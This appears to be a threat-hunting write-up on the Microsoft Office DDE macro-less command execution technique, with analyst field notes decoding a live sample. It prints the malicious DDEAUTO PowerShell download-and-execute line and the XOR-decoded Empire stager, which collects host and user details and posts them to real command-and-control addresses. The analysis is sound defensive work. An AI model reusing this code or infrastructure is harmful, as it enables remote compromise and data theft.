Microsoft Office DDE Macro-less Command Execution Vulnerability

On October 9th 2017, SensePost researchers posted a technique allowing for macro-less code execution from Microsoft Office documents through Dynamic Data Exchange (DDE). The following Twitter "moment" captures relevant references and conversation surrounding the issue, detection, hunting, seen payloads, and mitigations.

https://twitter.com/i/moments/918126999738175489

Hunting rule:

https://github.com/InQuest/yara-rules/blob/master/Microsoft_Office_DDE_Command_Execution.rule

Field notes from the most interesting sample:

# this is the most interesting sample yet to come up in our hunting for Microsoft Office DDE malware:
# https://www.virustotal.com/en/file/11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13/analysis/

# download the file, it's a docx.
$ vt download 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13
$ file 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13
11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13: Microsoft Word 2007+

# generally you can unzip these samples, but the attacker took extra steps to evade detection, Microsoft parsers are forgiving.
$ unzip -p 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 word/document.xml
[11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13]
End-of-central-directory signature not found. Either this file is not
a zipfile, or it constitutes one disk of a multi-part archive. In the
latter case the central directory and zipfile comment will be found on
the last disk(s) of this archive.

# 7z will do it... we strip the XML to reveal the payload, which is hosted on Amazon AWS:
$ 7z e -so 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 word/document.xml | sed 's/<[^>]*>//g'

DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://ec2-54-158-67-5.compute-1.amazonaws.com/CCA/DDE2.ps1');powershell -e $e " !Unexpected End of Formula

# pull download the payload, it's base64 encoded. note the usage of Internet Explorer 11 user-agent. note that the next payload is XOR encoded and the key is "294aa01c70a8f958a016e582d0bd4ab9".
$ wget http://ec2-54-158-67-5.compute-1.amazonaws.com/CCA/DDE2.ps1

$ cat DDE2.ps1 | base64 -D
[SystEM.NET.SerViCEPOiNTMaNaGer]::EXPeCt100COnTinue = 0;$wc=NEw-ObJecT SYstEm.NET.WEBCLIENT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$wc.HEAdeRs.Add('User-Agent',$u);$wC.PROXY = [SySTeM.Net.WebREQueSt]::DEFAultWebPROxY;$wC.PrOxY.CrEDEntIAlS = [SYSteM.NEt.CRedEntialCaChe]::DeFaUlTNEtWorKCRedEnTIAlS;$K='294aa01c70a8f958a016e582d0bd4ab9';$I=0;[Char[]]$B=([cHar[]]($Wc.DoWNLoADSTring("https://23.239.28.30:443/index.asp")))|%{$_-BXOr$K[$i++%$k.LEnGtH]};IEX ($B-Join'')

# from HTTP on EC2 to HTTPS Linode. let's see what we have there. note that the certificate isn't valid.
$ wget https://23.239.28.30:443/index.asp --no-check-certificate
--2017-10-12 16:04:31-- https://23.239.28.30/index.asp
Connecting to 23.239.28.30:443... connected.
WARNING: cannot verify 23.239.28.30's certificate, issued by ‘CN=Let's Encrypt Authority X3,O=Let's Encrypt,C=US’:
Unable to locally verify the issuer's authority.
WARNING: certificate common name ‘web01.allcleardata.com’ doesn't match requested host name ‘23.239.28.30’.
HTTP request sent, awaiting response... 200 OK
Length: unspecified
Saving to: ‘index.asp’

2017-10-12 16:04:31 (67.4 MB/s) - ‘index.asp’ saved [2898]

# the bytes in index.asp are xor encoded, let's decode that with a python one-liner:
$ python -c 'import itertools; print "".join(chr(ord(x) ^ ord(y)) for (x,y) in itertools.izip(open("index.asp", "rb").read(), itertools.cycle("294aa01c70a8f958a016e582d0bd4ab9")))'
FUnCTION StaRT-NEGotiAte{param($s,$SK,$UA="lol")Add-TYPE -aSSeMbLY SysTEM.SeCURITY;ADD-Type -AssEMBLY SyStem.CORE;$ErrorActionPreference = "SilentlyContinue";$e=[SySTEM.TeXT.EncODing]::ASCII;$AES=NEW-OBJECT SYsTEm.SecurITY.CrYPTogRApHy.AesCRyPtOSeRvIcEProviDer;$IV = [byTe] 0..255 | GEt-RaNdOM -cOUNT 16;$AES.Mode="CBC"; $AES.Key=$e.GetBytes($SK); $AES.IV = $IV;$CSP = NEw-ObJeCt SYstEm.SEcURiTy.CrYptogRapHy.CspParAmeteRs;$csp.FLAGs = $CSp.FLaGS -BOR [SysteM.SeCuriTy.CRYPtOGraPhY.CspPrOVIderFLAGs]::USeMAChinEKEyStORE;$Rs = NeW-OBjecT SYSteM.SEcuRiTY.CrYPtoGRaPhy.RSACRYptOSeRVICePROViDer -ARgumENtList 2048,$CsP;$rK=$rS.ToXMLSTRING($FAlSE);$r=1..16|ForEACH-OBjECt{GET-RAndom -MAX 26};$ID=('ABCDEFGHKLMNPRSTUVWXYZ123456789'[$r] -join '');$Ib=$E.GeTBYTes($RK);$eB=$IV+$AES.CREATeEncRYPTor().TrAnsFoRmFinalBlocK($IB,0,$Ib.LengTH);If(-nOT $Wc){$Wc=new-oBjECT SySTem.NET.WEBCLieNT;$wc.PrOXY = [SYSTem.NEt.WeBREQUEsT]::GeTSySteMWeBPROxY();$wc.ProXy.CREDentIaLS = [SYStem.NEt.CrEDenTiAlCacHe]::DEFAuLtCREdEnTIALS;}$wc.Headers.Add("User-Agent",$UA);$wc.Headers.Add("Cookie","SESSIONID=$ID");$raw=$wc.UploadData($s+"index.jsp","POST",$eb);$De=$e.GeTSTRING($rS.DeCRYPT($raw,$False));$epOCh=$DE[0..9] -joIn'';$key=$de[10..$De.Length] -JoiN '';$AES=New-ObjeCT System.SeCurItY.CRYPtOGRaPhy.AesCrYptOSerVicePRoviDEr;$IV = [bYtE] 0..255 | Get-RanDOM -cOUNt 16;$AES.Mode="CBC"; $AES.Key=$e.GetBytes($key); $AES.IV = $IV;$I=$S+'|'+[EnvIROnmENT]::UseRDOMAinNAMe+'|'+[ENViRONMEnT]::UsERNaMe+'|'+[EnVIRONMENt]::MACHineNAme;$p=(GWMi WIN32_NeTwoRkAdaptErCoNfIguRaTIoN|WHErE{$_.IPAddRESS}|SelECT -EXpAND IPAddRESs);$iP = @{$TruE=$p[0];$FALSe=$P}[$P.LengTh -Lt 6];if(!$Ip -or $IP.triM() -eq '') {$Ip='0.0.0.0'};$i+="|$ip";$I+='|'+(Get-WmiOBject Win32_OPerATIngSySTEm).Name.spLit('|')[0];if(([Environment]::UserName).ToLower() -eq "system"){$i+='|True'}else {$i += "|" +([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")}$N=[System.DiaGNostiCS.ProCEss]::GETCUrrEnTPrOceSS();$I+='|'+$n.PROCessName+'|'+$N.Id;$I += '|' + $PSVERSiONTaBLE.PSVerSIon.MaJOR;$ib2=$E.GeTbYtEs($I);$eB2=$IV+$AES.CREatEENCRYpTor().TransFOrmFinAlBloCK($ib2,0,$Ib2.LengTH);$wc.Headers.Add("User-Agent",$UA);$raw=$wc.UploadData($s+"index.php","POST",$eb2);$AES=NEw-ObjEct SYstem.SecuritY.CrYpTOGraPHY.AEsCrypToSErViCePROViDER;$AES.Mode="CBC";$IV = $raw[0..15];$AES.KEY=$e.GETByTES($KEy);$AES.IV = $IV;IEX $([SysTeM.TExT.ENcODINg]::ASCII.GeTStrinG( $($AES.CREAtEDECryPtoR().TRAnSFoRmFiNALBloCK($RAW[16..$RAW.LEngtH],0,$rAw.LENGtH-16))));$AES=$NUlL;$S2=$NULL;$wc=$NULl;$Eb2=$NULl;$raw=$nuLl;$IV=$NulL;$wc=$NulL;$i=$nulL;$iB2=$nUlL;[GC]::COlLECt();Invoke-Empire -Servers @(($s -split "/")[0..2] -join "/") -SessionKey $key -SessionID $ID -Epoch $epoch;} Start-Negotiate -s "https://23.239.28.30:443/"; -SK '294aa01c70a8f958a016e582d0bd4ab9' -UA $u;

# it's Empire: https://github.com/EmpireProject/Empire posting back to that same Linode server.

InQuest detects exploitation of DDE attacks via its Deep File Inspection (DFI) stack and signature MC_Office_DDE_Command_Exec (event ID 5000728) released on October 10th, 2017.